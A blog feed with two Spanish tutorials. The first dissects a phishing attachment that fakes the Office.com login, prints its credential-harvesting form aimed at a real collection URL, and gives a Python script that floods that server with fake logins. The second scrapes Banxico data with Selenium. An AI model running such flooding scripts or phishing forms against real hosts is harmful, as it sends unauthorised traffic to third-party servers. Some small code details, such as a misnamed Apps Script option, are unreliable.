DEV Community: Rodrigo Leo

Respondiendo a un ladrón de contraseñas

Rodrigo Leo — Sun, 21 Nov 2021 15:50:40 +0000

Contenido

El engaño
Construyendo perfiles inexistentes
Enviando datos con urllib
Level up: enviando datos masivamente
Importante: unas palabras de advertencia

⚠️ IMPORTANTE

Por favor considera que el propósito de este artículo es informativo, y tiene como objeto mostrar cómo hacer requests POST en Python usando las librerías nativas. Conviene tener en cuenta un par de puntos importantes al manipular correos electrónicos fraudulentos y al interactuar con los servidores que están diseñados para recibir datos obtenidos de forma ilícita. Por favor lee la sección correspondiente al final del post.

Recibí hace poco un correo electrónico fraudulento que incluía un archivo adjunto que trataba de robar la contraseña de mi cuenta. Si bien los métodos para robar información de los usuarios evolucionan rápidamente, en este caso la idea del ladrón era muy básica: el archivo adjunto era un documento HTM(L) que imitaba casi perfectamente la página de inicio de sesión del correo de Office.com. Así (pensaba sin duda el ladrón) la víctima desprevenida está convencida de estar accediendo a su correo, cuando en realidad le ha regalado sus credenciales de acceso a un desconocido 😡.

Para tratar de dificultarle el robo de contraseñas al ladrón que hay detrás de esto, escribí un script muy sencillo en Python que envía automática y masivamente direcciones de correo y contraseñas falsas a la URL del formulario del archivo adjunto, de forma que la base de datos del ladrón se llene de información de usuarios inexistentes, la cual es difícil de limpiar. En este artículo describo el correo electrónico fraudulento, su mecanismo de robo de información y el diseño del script, que usa únicamente librerías nativas de Python y un archivo con palabras en inglés descargado de internet.

1. El engaño

El correo electrónico en cuestión simulaba ser del administrador de TI de la organización, y era así:

Basta ver la dirección del remitente para advertir que se trataba de un engaño. En general estos mensajes ni siquiera llegan a la bandeja de entrada porque el filtro de spam los detiene, pero este correo en particular se le escapó.

Como se puede ver, el archivo adjunto era un documento .htm. Lo guardé en el disco duro y lo abrí en un editor de texto plano, nunca hay que abrirlo directamente en el navegador porque no sabemos qué pueda tener. En el editor pude ver que el archivo no incluía ningún script y que las referencias externas eran al sitio web de Microsoft, mientras que el cuerpo del documento únicamente contenía un formulario sencillo de login. El documento era seguro de abrir en el navegador:

Se puede ver que el diseño era prácticamente idéntico a la página de login de Office.com. Usando el inspector de Safari, noté que el campo de la contraseña se encuentra dentro de un formulario que, al enviarse, hace una petición POST a la URL https://level7advertising.com.au/ko/sss.php. Este es el script PHP del ladrón, que sin duda registra la respuesta de la víctima y la guarda en una base de datos para que la pueda usar después.

Este es el código fuente del formulario en cuestión, que contenía toda la información para poder diseñar el contraataque:

<form action="https://level7advertising.com.au/ko/sss.php" method="POST">
    <p>
        <img src="https://aadcdn.msftauth.net/ests/2.1/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg" alt="">
        <input type="email" style="border: none;" id="fname" name="username" placeholder="Email Address" value="xxx@xxx.xxx" readonly required>
    </p>

    <h2>Enter password</h2>
    <input type="password" class="input_text" name="password" placeholder="Password">
    <div class="link_section">
        <a href="#" class="link">Forgot my password</a>
    </div>
    <br><br>
    <button type="submit" class="btn">Continue</button>
</form>

Lo relevante son los dos elementos <input> que contenía el formulario, pues éstos son los campos que se envían al servidor del ladrón:

Uno para el correo electrónico, que es de sólo lectura, con el nombre username. El valor de este campo es el correo electrónico (el código mostrado dice "xxx@xxx.xxx") para ocultar mi verdadera dirección).
Uno para la contraseña, con el nombre password.

Este era, en esencia, la lógica detrás de la idea del ladrón. Mi respuesta fue un script que hiciera lo siguiente:

Generar una dirección de correo electrónico inexistente.
Generar una contraseña falsa para esta dirección.
Enviar esta información a la URL del script PHP del ladrón.
¡Repetir!

Así, el primer paso consiste en construir una lista de direcciones de correo electrónico y contraseñas falsas para indundar con ellas la base de datos de nuestro atacante.

2. Construyendo perfiles inexistentes

Las direcciones de correo electrónico que construí tienen el formato <palabra>@<palabra>.<com/org/net>, y las contraseñas tienen el formato <palabra><número><símbolo>.

Evidentemente, lo primero que necesitamos es una lista de palabras. Descargué una (en inglés) de github.com/dwyl/english-words y la guardé en el mismo directorio del script de Python como words_alpha.txt.

A continuación, abrimos el archivo en Python y guardamos los contenidos en la lista palabras_lista (no olvidemos cerrar el archivo una vez leído, es una buena práctica):

palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()

Examinemos los primeros 10 registros:

palabras_lista[0:10]

>>> ['a\n',
    'aa\n',
    'aaa\n',
    'aah\n',
    'aahed\n',
    'aahing\n',
    'aahs\n',
    'aal\n',
    'aalii\n',
    'aaliis\n']

Notamos que las palabras incluyen al final un salto de línea, esto habrá que considerarlo más adelante. Ahora, definimos una lista con los dominios que usaremos en nuestras direcciones de correo electrónico:

dominios = ["com", "org", "net"]

Ahora sí podemos construir una función que elija aleatoriamente las palabras para construir el correo electrónico y la contraseña. Para la elección aleatoria, usamos la función choice de la librería nativa random (documentación aquí). Llamaremos a nuestra función generar_perfil:

from random import choice

def generar_perfil():
    # Generar dirección de correo:
    mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)

    # Generar contraseña:
    password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")

    return {'mail': mail, 'password': password}

Recordamos que las palabras incluyen al final un salto de línea, indicado por los caracteres \n. Por eso hacemos un string slicing en Python para obtener la palabra excepto los dos últimos caracteres: choice(palabras_lista)[:-1] elige aleatoriamente una palabra de la lista palabras_lista y devuelve todos sus caracteres excepto los últimos dos.

Comprobamos si funciona invocando 10 veces a la función y viendo los correos y contraseñas que inventa:

for i in range(0, 10):
    perfil = generar_perfil()
    print(perfil['mail'], "---", perfil['password'])

>>> vegetocarbonaceous@ruralization.com --- crawfish84&
>>> unacquisitiveness@antalkali.com --- velatura30$
>>> ultrastylish@aerodyne.org --- unshocked19?
>>> marines@bloodleaf.net --- vaguios56$
>>> oceanside@bromogelatin.com --- metabolizing43?
>>> peripolygonal@totting.net --- unassaying83!
>>> disquietingly@immaculateness.com --- knapsacked66&
>>> clubbers@heptahedral.org --- libellant94!
>>> recept@unauthoritatively.com --- dingey24!
>>> revoker@lacklustrous.com --- tracheopathia74&

Evidentemente, el correo vegetocarbonaceous@ruralization.com no suena muy auténtico, pero si hay muchos semejantes en una base de datos, es sumamente difícil automatizar un proceso que los detecte sin requerir entrenar un modelo de machine learning, por lo que sirven perfectamente para nuestro propósito.

Con esto ya tenemos una función capaz de generar direcciones de correo electrónico y contraseñas con formatos válidos, no tan fáciles de detectar como falsas. El siguiente paso es construir el mecanismo para enviar estos datos al servidor del ladrón de contraseñas.

3. Enviando datos con `urllib`

Existen libererías de alto nivel (es decir, más "humanas") para trabajar con peticiones HTTP (por ejemplo, requests - conoce más aquí). Sin embargo, como queremos emplear sólo los módulos nativos de Python, usaremos la librería urllib para hacer peticiones al servidor del atacante.

En primer lugar importamos las clases request y parse del módulo urllib. La primera provee de métodos para hacer peticiones HTTP/S, y la segunda nos permite codificar el diccionario que contiene los datos que deseamos enviar a un formato compatible con el método POST (o GET en su caso).

from urllib import parse, request

En segundo lugar, definimos los datos que queremos enviar al servidor. Como recordamos, el formulario del archivo adjunto que envió el ladrón tiene dos campos, llamados username y password. Estos son los nombres de los campos que debemos enviarle de vuelta. Y los valores son las direcciones de correo electrónico y las contraseñas falsas que obtenemos fácilmente con la función generar_perfil():

dato = generar_perfil()

datos = {
    "username": dato['mail'],
    "password": dato['password']
}

A continuación creamos un string con los datos codificados para enviarlos al servidor. Esto lo hacemos invocando el encode() de la siguiente forma:

datos_encoded = parse.urlencode(datos).encode()

Finalmente, guardamos la URL del formulario en la variable url y enviamos los datos al servidos usando el método urlopen() de la siguiente forma:

url = "https://level7advertising.com.au/ko/sss.php"

r = request.urlopen(url, datos_encoded)

¡Listo! Hemos enviado un primer registro falso al ladrón de contraseñas. Veamos el estado con el que respondió el servidor usando la propedad status:

print(r.status)

>>> 200

Una respuesta 200 indica que la petición ha tenido éxito. Ahora el ladrón tiene un registro falso en su base de datos, lo cual le dificultará la tarea de encontrar los registros de personas verdaderas que, en un descuido, le enviaron su contraseña del correo electrónico.

4. Level up: enviando datos masivamente

Hasta ahora todo bien, pero si queremos enviar muchas respuestas falsas, es fácil programar un bucle que repita esta acción el número de veces que deseemos. Yo lo programé para enviar 100 registros falsos cada vez, espaciando los envíos un número aleatorio de segundos entre 3 y 6 (para esto usé la función sleep del módulo time, que también es nativo de Python - la documentación está aquí).

Al final, el código completo es el siguiente:

from random import choice
from urllib import parse, request
from time import sleep

palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()

dominios = ["com", "org", "net"]
url = "https://level7advertising.com.au/ko/sss.php"

def generar_perfil():
    mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)
    password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")
    return {'mail': mail, 'password': password}

for i in range(1, 101):

    # Generar perfil falso:
    dato = generar_perfil()
    datos = {
        "username": dato['mail'],
        "password": dato['password']
    }

    # Codificar datos:
    datos_encoded = parse.urlencode(datos).encode()

    # Enviar petición y mostrar respuesta (junto con el número de iteración):
    r = request.urlopen(url, datos_encoded)
    print(i, r.status)

    # Esperar un número aleatorio de segundos entre 3 y 6:
    sleep(choice(range(3, 7)))

A la fecha de publicación del post, no tuve problema en enviar bloques de 100 perfiles de usuarios inexistentes al ladrón de contraseñas 😊 siempre recibiendo una respuesta exitosa (200) del servidor de destino:

>>> 1 200
>>> 2 200
>>> 3 200
>>> 4 200
    ...
>>> 100 200

5. Importante: unas palabras de advertencia

Nunca se deben deben abrir los archivos adjuntos de un correo electrónico que procede de una dirección desconocida, o cuyo contenido parece (aunque sea sólo un poco) fraudulento. Siempre hay que verificar que la dirección del remitente (y no sólo su nombre) sea conocida. En mi caso, abrí el archivo adjunto primero en un editor de texto y verifiqué que no cargara ningún script, ni local ni remotamente, y que las imágenes procedieran de dominios de confianza.
Al enviar las peticiones POST, el receptor podría registrar la IP de la que proceden. Esto representa (al menos) un riesgo menor de privacidad y seguridad. Es importante no hacerlo en equipos que contengan información sensible (por ejemplo, corporativos). En mi caso, usé una VPN para esconder mi dirección IP real, y ejecuté el script en una máquina virtual aislada en mi computadora personal.

Teniendo en cuenta estos puntos y conservando en la medida de lo posible el sentido común, no deberíamos tener problema.

👨‍💻 Happy coding

Automatizando la extracción de datos con Selenium

Rodrigo Leo — Wed, 10 Nov 2021 19:06:14 +0000

Contenido

Los requisitos
El guión
El script
Poniendo todo junto
Haciéndolo fácil: usando la API

Hace unos días necesitaba automatizar la extracción de cierta serie de tiempo del Sistema de Información Económica (SIE) del Banco de México y no me di cuenta que tienen una API diseñada específicamente para eso, por lo que escribí un script de Python para descargar datos usando Selenium.

Cuando vi que existía la API en cuestión terminé usándola (con Google Apps Script, que por cierto es muy bueno), pero para que las horas invertidas con Python no se vayan a la basura, aquí comparto esta pequeña guía sobre cómo usar Selenium, por si a alguien le es de utilidad alguna vez.

Pero antes de empezar, ¿qué es Selenium? Básicamente es un entorno de pruebas (testing) de software diseñado para aplicaciones web. En palabras sencillas, es una especie de "robot" que nos permite automatizar tareas rutinarias, y aunque se usa principalmente para hacer pruebas que resultarían tediosas manualmente, también se emplea para diseñar sistemas de automatización, que es lo que haremos aquí.

1. Los requisitos

Lo primero que necesitamos (evidentemente) es Python instalado en la computadora. Además, necesitamos instalar Selenium. Con pip es muy sencillo hacerlo:

pip install selenium

O, si usas conda para administrar tus paquetes (como yo):

conda install -c conda-forge selenium

Una vez que tenemos Selenium instalado, es necesario descargar un driver: Selenium simula la interacción con una página web que nosotros haríamos a través de un navegador, por lo que tenemos que proporcionarle tal navegador: eso es el driver. El ejecutable del driver debe estar en el PATH del sistema o bien en el mismo directorio que nuestro script de Python, de lo contrario obtendremos un error del tipo: selenium.common.exceptions.WebDriverException: Message: ‘X’ executable needs to be in PATH, donde X es el driver en cuestión.

Aquí los links para descargar drivers (yo uso el de Google Chrome):

Driver	Link
Chrome	https://sites.google.com/chromium.org/driver/
Edge	https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/
Firefox	https://github.com/mozilla/geckodriver/releases
Safari	https://webkit.org/blog/6900/webdriver-support-in-safari-10/

Una vez que el driver esté en el directorio del script o bien en la variable PATH, estamos listos para comenzar a construir nuestro script.

2. El guión

Primero que nada, es necesario tener muy claro qué es lo que queremos que haga nuestro programa. En mi caso, quiero que haga lo siguiente:

Que acceda a la página "Otros indicadores de precios mensuales" del SIE de Banxico.
Que desmarque todas las casillas, excepto la de "Indicador subyacente fundamental".
Que despliegue el cuadro "Exportar series".
Que seleccione como periodo inicial "Todo" y como periodo final "Todo".
Que seleccione como formato de exportación "XLS" y guarde el archivo descargado.

Visualmente se vería de la siguiente forma:

3. El script

Primero que nada importamos las librerías de Python necesarias:

webdriver que es la clase fundamental para interactuar con Selenium;
Select que permite que Selenium trabaje eficientemente con elementos HTML de tipo <select>...</select>;
sleep, que requeriremos por las características de la página con la que trabajaremos (más sobre esto adelante); y
Path para obtener el directorio de trabajo del script.

from selenium import webdriver
from selenium.webdriver.support.ui import Select
from time import sleep
from pathlib import Path

A continuación almacenamos el directorio de trabajo actual en la variable cwd, y el URL de la página a la que el driver debe dirigirse en la variable url:

cwd = str(Path().resolve())
url = 'https://www.banxico.org.mx/SieInternet/consultarDirectorioInternetAction.do?sector=8&accion=consultarCuadro&idCuadro=CP194&locale=es'

Guardamos como preferencia del driver que el directorio para almacenar las descargas sea el directorio del script (el que está en la variable cwd):

opciones = webdriver.ChromeOptions()
prefs = {'download.default_directory': cwd}
opciones.add_experimental_option('prefs', prefs)

Y con eso podemos finalmente arrancar el driver. Al ejecutar el siguiente código se abrirá una ventana nueva de Google Chrome y se dirigirá a la URL almacenada en la variable url:

driver = webdriver.Chrome(options = opciones)
driver.get(url)

Ahora obtenemos todos los elementos <input>...</input> de la página. Los guardaremos en la variable inputs. La forma de encontrarlos es mediante el método find_elements_by_tag_name():

inputs = driver.find_elements_by_tag_name("input")

A continuación los filtramos para quedarnos únicamente con aquellos cuyo tipo (type) es checkbox. Para eso usamos el método get_attribute() (pues el tipo es un atributo de la etiqueta HTML; existe un método análogo para obtener propiedades, se llama get_property()):

checkboxes = [x for x in inputs if x.get_attribute("type") == "checkbox"]

Ahora iteramos sobre la lista checkboxes para asegurarnos de que todos queden sin seleccionar. Para ello usamos el método is_selected(), que devuelve True si el elemento está seleccionado y False en caso contrario. En caso de que esté seleccionado, invocamos el método click() para anular la selección:

for checkbox in checkboxes:
    if checkbox.is_selected():
        checkbox.click()

Lo que queremos es que únicamente el checkbox de la serie "Indicador subyacente fundamental" quede seleccionado. Usando el inspector de elementos de Chrome, nos damos cuenta que dicho elemento tiene el ID nodo_0_1_0_SP74825. Así, podemos usar el método find_element_by_id() para encontrarlo y darle click:

checkbox_target = driver.find_element_by_id("nodo_0_1_0_SP74825")
checkbox_target.click()

Así hemos llegado a este punto:

Ahora necesitamos abrir la caja de opciones de "Exportar series". Nuevamente empleamos el inspector de Chrome para descubrir que el ID del botón es consultaSeriesCarritoToggleAcc. Lo guardaremos en la variable botón_expandir:

boton_expandir = driver.find_element_by_id("consultaSeriesCarritoToggleAcc")

Para verificar si está abierto o no, usamos una propiedad llamada aria-expanded. Si su valor es "true", quiere decir que la caja de opciones está abierta, en caso contrario es "false". Evidentemente en este caso está cerrada, pero por seguridad incluiremos esta verificación extra en nuestro código:

if boton_expandir.get_property("aria-expanded") == "false":
    boton_expandir.click()

Listo, la caja de opciones para exportar las series está abierta. Ahora identificamos los elementos que necesitaremos manipular dentro de esta caja (para obtener los IDs seguimos usando el inspector de Chrome):

El selector del periodo inicial es un elemento <select>...</select> con ID anoInicial.
El selector del periodo final es un elemento <select>...</select> con ID anoFinal.
El botón para seleccionar el formato de exportación de datos tiene ID seleccionFormato.
El elemento del menú desplegable que se abre al dar clic en el botón para seleccionar formato que corresponde al archivo XLS tiene ID seleccionFormatoXLS.

Vamos a asociar a diferentes variables cada uno de estos elementos para poder manipularlos. En el caso de los elementos <select>...</select> usaremos la clase Select que importamos al inicio:

periodo_inicial = Select(driver.find_element_by_id("anoInicial"))
periodo_final = Select(driver.find_element_by_id("anoFinal"))
boton_formato = driver.find_element_by_id("seleccionFormato")
boton_xls = driver.find_element_by_id("seleccionFormatoXLS")

Ahora elegimos como fecha inicial "Todo". Una de las ventajas de usar la clase Select es que permite buscar los elementos <option> del tag por ID, por valor o por el texto mostrado. En nuestro caso buscaremos por texto mostrado. Para ello usamos el método select_by_visible_text():

periodo_inicial.select_by_visible_text("Todo")

Para la fecha final también elegimos la opción cuyo texto es "Todo":

periodo_final.select_by_visible_text("Todo")

A continuación verificamos que el menú desplegable de los diferentes formatos de exportación esté cerrado, en cuyo caso lo abrimos. Para ello volvemos a verificar la propiedad aria-expanded:

if boton_formato.get_property("aria-expanded") == "false":
    boton_formato.click()

Y, finalmente, damos clic en el botón para descargar nuestro archivo:

boton_xls.click()

En este punto el driver de Google Chrome debe descargar el archivo de Excel con las características que seleccionamos en el mismo directorio donde se encuentra nuestro script de Python. Solamente resta cerrar el driver:

driver.quit()

4. Poniendo todo junto

Si hemos ejecutado los comandos anteriores uno a uno, de forma pausada, no debimos tener ningún problema en llegar hasta el paso final. Pero si ponemos todos los comandos juntos en un archivo .py y lo ejecutamos, probablemente nos encontremos con errores que nos indican que ciertos elementos (como los selectores de periodos o el botón de descargar como XLS) no están disponibles o no se encuentran. Esto es debido a una particularidad de la página del SIE: tiene animaciones. Al dar clic para expandir la caja de opciones para descargar las series, ésta no se muestra de inmediato, sino que se despliega lentamente, de arriba hacia abajo, como una persiana. Por lo tanto, como la velocidad de ejecución del script de Python es más rápida que la animación, busca los elementos dentro de la caja de opciones antes de que estén completamente cargados en el DOM de la página.

Para resolver este inconveniente es que importamos la función sleep() al inicio. Esta función pausa la ejecución del programa durante el número de segundos indicado, y así nos permite garantizar que al momento de avanzar, los elementos del DOM estén completamente cargados y el script no devuelva errores.

Así es como se ve la implementación completa de nuestro script de automatización, con las llamadas a sleep() en lugares estratégicos:

# Importamos las librerías necesarias
from selenium import webdriver
from selenium.webdriver.support.ui import Select
from time import sleep
from pathlib import Path

# Guardamos el directorio del script y la URL a la que queremos que se dirija el driver
cwd = str(Path().resolve())
url = 'https://www.banxico.org.mx/SieInternet/consultarDirectorioInternetAction.do?sector=8&accion=consultarCuadro&idCuadro=CP194&locale=es'

# Establecemos como directorio de descarga el mismo que el del script
opciones = webdriver.ChromeOptions()
prefs = {'download.default_directory': cwd}
opciones.add_experimental_option('prefs', prefs)

# Lanzamos el driver
driver = webdriver.Chrome(options = opciones)
driver.get(url)

# Buscamos todos los elementos <input>...
inputs = driver.find_elements_by_tag_name("input")

# ... y los filtramos para quedarnos sólo con los que son de tipo "checkbox"
checkboxes = [x for x in inputs if x.get_attribute("type") == "checkbox"]

# Nos aseguramos de que ninguno esté seleccionado
for checkbox in checkboxes:
    if checkbox.is_selected():
        checkbox.click()

# Elegimos el checkbox de la serie que queremos y nos aseguramos que sí esté seleccionado
checkbox_target = driver.find_element_by_id("nodo_0_1_0_SP74825")
checkbox_target.click()

# Identificamos el botón para expandir la caja de opciones de descarga de las series
boton_expandir = driver.find_element_by_id("consultaSeriesCarritoToggleAcc")

# Si la caja no está abierta, la abrimos dándole clic
if boton_expandir.get_property("aria-expanded") == "false":
    boton_expandir.click()

# Aquí conviene pausar el script, pues la caja de opciones tarda en abrirse debido a la animación
sleep(2)

# Identificamos los controles a manipular dentro de la caja
periodo_inicial = Select(driver.find_element_by_id("anoInicial"))
periodo_final = Select(driver.find_element_by_id("anoFinal"))
boton_formato = driver.find_element_by_id("seleccionFormato")
boton_xls = driver.find_element_by_id("seleccionFormatoXLS")

# Elegimos los periodos inicial y final
# Ambos con la opción que dice "Todos"
periodo_inicial.select_by_visible_text("Todo")
periodo_final.select_by_visible_text("Todo")

# Desplegamos la lista de opciones de formatos de descarga
if boton_formato.get_property("aria-expanded") == "false":
    boton_formato.click()

# Nuevamente pausamos un par de segundos para dar tiempo a la animación
sleep(2)

# Damos clic en el botón que corresponde a "XLS"
boton_xls.click()

# Cerramos el driver
driver.quit()

5. Haciéndolo fácil: usando la API

Como dije al inicio, el SIE dispone de una API para facilitar la automatización de la descarga de datos, por lo que no es realmente necesario usar Selenium. Solamente como una muestra, aquí está el código de Google Apps Script para obtener los mismos datos:

var url = 'https://www.banxico.org.mx/SieAPIRest/service/v1/series/SP74825/datos/?token=' + token;
var respuesta = UrlFetchApp(url, {'muteHtpExceptions': true});
var respuestaTexto = respuesta.getContentText();
var respuestaJson = JSON.parse(respuestaTexto);

Donde la variable token es un string que contiene el token provisto por Banxico para acceder a su API. Como se puede ver, el camino es mucho más corto y al final se obtienen los mismos datos en formato JSON. Desgraciadamente, muchos sitios no cuentan con APIs o con vínculos permanentes que faciliten el acceso programado a los datos, por lo que el conocimiento de herramientas como Selenium se vuelve esencial para cualquiera que desee automatizar flujos de trabajo que involucren el acceso a recursos web.